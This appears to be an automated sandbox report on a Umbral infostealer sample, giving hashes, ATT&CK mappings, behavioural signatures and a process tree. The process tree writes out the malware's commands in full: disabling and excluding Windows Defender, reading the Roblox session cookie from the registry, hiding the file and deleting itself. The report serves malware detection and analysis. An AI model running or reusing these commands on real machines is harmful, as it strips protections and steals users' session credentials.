umbral | bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
23-08-2024 02:39

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General

Target

bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe
Size

228KB
MD5

92fe53ca6c8f1a424db45bb3f7cdfe56
SHA1

a6d4e261875b162f18f2cbbcc6411cec7b59be37
SHA256

bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7
SHA512

c4ce50e070a07626fd766212428b15df7d4f4fe680acdc9b0ba084156aea4e4443dd76ddba8ff9d9551a5c00b53d784a716caa95df1a78d80a65dd1bca2c4a16
SSDEEP

6144:OloZM+rIkd8g+EtXHkv/iD4QL6XYe5xy4XKYZd8PRb8e1mLpsi:YoZtL+EP8QL6XYe5xy4XKYZd8hil

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2124-1-0x0000000000A30000-0x0000000000A70000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2344	powershell.exe
2748	powershell.exe
2556	powershell.exe
2468	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe

Deletes itself 1 IoCs

pid	Process
2068	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2068	cmd.exe
676	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2916	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
676	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2124	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe
2344	powershell.exe
2748	powershell.exe
2556	powershell.exe
2820	powershell.exe
2468	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2124	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe
Token: SeIncreaseQuotaPrivilege	1236	wmic.exe
Token: SeSecurityPrivilege	1236	wmic.exe
Token: SeTakeOwnershipPrivilege	1236	wmic.exe
Token: SeLoadDriverPrivilege	1236	wmic.exe
Token: SeSystemProfilePrivilege	1236	wmic.exe
Token: SeSystemtimePrivilege	1236	wmic.exe
Token: SeProfSingleProcessPrivilege	1236	wmic.exe
Token: SeIncBasePriorityPrivilege	1236	wmic.exe
Token: SeCreatePagefilePrivilege	1236	wmic.exe
Token: SeBackupPrivilege	1236	wmic.exe
Token: SeRestorePrivilege	1236	wmic.exe
Token: SeShutdownPrivilege	1236	wmic.exe
Token: SeDebugPrivilege	1236	wmic.exe
Token: SeSystemEnvironmentPrivilege	1236	wmic.exe
Token: SeRemoteShutdownPrivilege	1236	wmic.exe
Token: SeUndockPrivilege	1236	wmic.exe
Token: SeManageVolumePrivilege	1236	wmic.exe
Token: 33	1236	wmic.exe
Token: 34	1236	wmic.exe
Token: 35	1236	wmic.exe
Token: SeIncreaseQuotaPrivilege	1236	wmic.exe
Token: SeSecurityPrivilege	1236	wmic.exe
Token: SeTakeOwnershipPrivilege	1236	wmic.exe
Token: SeLoadDriverPrivilege	1236	wmic.exe
Token: SeSystemProfilePrivilege	1236	wmic.exe
Token: SeSystemtimePrivilege	1236	wmic.exe
Token: SeProfSingleProcessPrivilege	1236	wmic.exe
Token: SeIncBasePriorityPrivilege	1236	wmic.exe
Token: SeCreatePagefilePrivilege	1236	wmic.exe
Token: SeBackupPrivilege	1236	wmic.exe
Token: SeRestorePrivilege	1236	wmic.exe
Token: SeShutdownPrivilege	1236	wmic.exe
Token: SeDebugPrivilege	1236	wmic.exe
Token: SeSystemEnvironmentPrivilege	1236	wmic.exe
Token: SeRemoteShutdownPrivilege	1236	wmic.exe
Token: SeUndockPrivilege	1236	wmic.exe
Token: SeManageVolumePrivilege	1236	wmic.exe
Token: 33	1236	wmic.exe
Token: 34	1236	wmic.exe
Token: 35	1236	wmic.exe
Token: SeDebugPrivilege	2344	powershell.exe
Token: SeDebugPrivilege	2748	powershell.exe
Token: SeDebugPrivilege	2556	powershell.exe
Token: SeDebugPrivilege	2820	powershell.exe
Token: SeIncreaseQuotaPrivilege	1148	wmic.exe
Token: SeSecurityPrivilege	1148	wmic.exe
Token: SeTakeOwnershipPrivilege	1148	wmic.exe
Token: SeLoadDriverPrivilege	1148	wmic.exe
Token: SeSystemProfilePrivilege	1148	wmic.exe
Token: SeSystemtimePrivilege	1148	wmic.exe
Token: SeProfSingleProcessPrivilege	1148	wmic.exe
Token: SeIncBasePriorityPrivilege	1148	wmic.exe
Token: SeCreatePagefilePrivilege	1148	wmic.exe
Token: SeBackupPrivilege	1148	wmic.exe
Token: SeRestorePrivilege	1148	wmic.exe
Token: SeShutdownPrivilege	1148	wmic.exe
Token: SeDebugPrivilege	1148	wmic.exe
Token: SeSystemEnvironmentPrivilege	1148	wmic.exe
Token: SeRemoteShutdownPrivilege	1148	wmic.exe
Token: SeUndockPrivilege	1148	wmic.exe
Token: SeManageVolumePrivilege	1148	wmic.exe
Token: 33	1148	wmic.exe
Token: 34	1148	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2124 wrote to memory of 1236	2124	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	30
PID 2124 wrote to memory of 1236	2124	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	30
PID 2124 wrote to memory of 1236	2124	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	30
PID 2124 wrote to memory of 2312	2124	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	33
PID 2124 wrote to memory of 2312	2124	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	33
PID 2124 wrote to memory of 2312	2124	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	33
PID 2124 wrote to memory of 2344	2124	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	35
PID 2124 wrote to memory of 2344	2124	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	35
PID 2124 wrote to memory of 2344	2124	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	35
PID 2124 wrote to memory of 2748	2124	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	37
PID 2124 wrote to memory of 2748	2124	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	37
PID 2124 wrote to memory of 2748	2124	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	37
PID 2124 wrote to memory of 2556	2124	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	39
PID 2124 wrote to memory of 2556	2124	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	39
PID 2124 wrote to memory of 2556	2124	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	39
PID 2124 wrote to memory of 2820	2124	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	41
PID 2124 wrote to memory of 2820	2124	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	41
PID 2124 wrote to memory of 2820	2124	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	41
PID 2124 wrote to memory of 1148	2124	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	43
PID 2124 wrote to memory of 1148	2124	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	43
PID 2124 wrote to memory of 1148	2124	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	43
PID 2124 wrote to memory of 2764	2124	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	45
PID 2124 wrote to memory of 2764	2124	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	45
PID 2124 wrote to memory of 2764	2124	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	45
PID 2124 wrote to memory of 2756	2124	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	47
PID 2124 wrote to memory of 2756	2124	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	47
PID 2124 wrote to memory of 2756	2124	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	47
PID 2124 wrote to memory of 2468	2124	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	49
PID 2124 wrote to memory of 2468	2124	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	49
PID 2124 wrote to memory of 2468	2124	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	49
PID 2124 wrote to memory of 2916	2124	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	51
PID 2124 wrote to memory of 2916	2124	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	51
PID 2124 wrote to memory of 2916	2124	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	51
PID 2124 wrote to memory of 2068	2124	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	53
PID 2124 wrote to memory of 2068	2124	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	53
PID 2124 wrote to memory of 2068	2124	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	53
PID 2068 wrote to memory of 676	2068	cmd.exe	55
PID 2068 wrote to memory of 676	2068	cmd.exe	55
PID 2068 wrote to memory of 676	2068	cmd.exe	55

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2312	attrib.exe

C:\Users\Admin\AppData\Local\Temp\bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe
"C:\Users\Admin\AppData\Local\Temp\bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2124
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1236
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe"
  2⤵
  - Views/modifies file attributes
  PID:2312
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2344
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2556
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2820
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1148
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2764
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2468
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2916
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2068
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:676

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
e9f859e334332a76c382200787bf7bca

SHA1
db96f069706da7be26a54bbcce2678b55e382a01

SHA256
cfd7d7b0b00cd214a2e5a731f5055e90cce1068b54340175094aa07cdf29a8fd

SHA512
d2bcf4bc37dc6686f577a79f8fd2b24e9d02165203f66c931161c61a5749a9e9636159eb589a47c2444620a490828077b1b9241b620cf56222d60a9a22d46471

Download Submit
memory/2124-0-0x000007FEF6063000-0x000007FEF6064000-memory.dmp

Filesize
4KB

Download
memory/2124-1-0x0000000000A30000-0x0000000000A70000-memory.dmp

Filesize
256KB

Download
memory/2124-2-0x000007FEF6060000-0x000007FEF6A4C000-memory.dmp

Filesize
9.9MB

Download
memory/2124-47-0x000007FEF6060000-0x000007FEF6A4C000-memory.dmp

Filesize
9.9MB

Download
memory/2344-7-0x000000001B5C0000-0x000000001B8A2000-memory.dmp

Filesize
2.9MB

Download
memory/2344-8-0x0000000002790000-0x0000000002798000-memory.dmp

Filesize
32KB

Download
memory/2468-43-0x0000000001E70000-0x0000000001E78000-memory.dmp

Filesize
32KB

Download
memory/2748-14-0x000000001B8D0000-0x000000001BBB2000-memory.dmp

Filesize
2.9MB

Download
memory/2748-15-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

Filesize
32KB

Download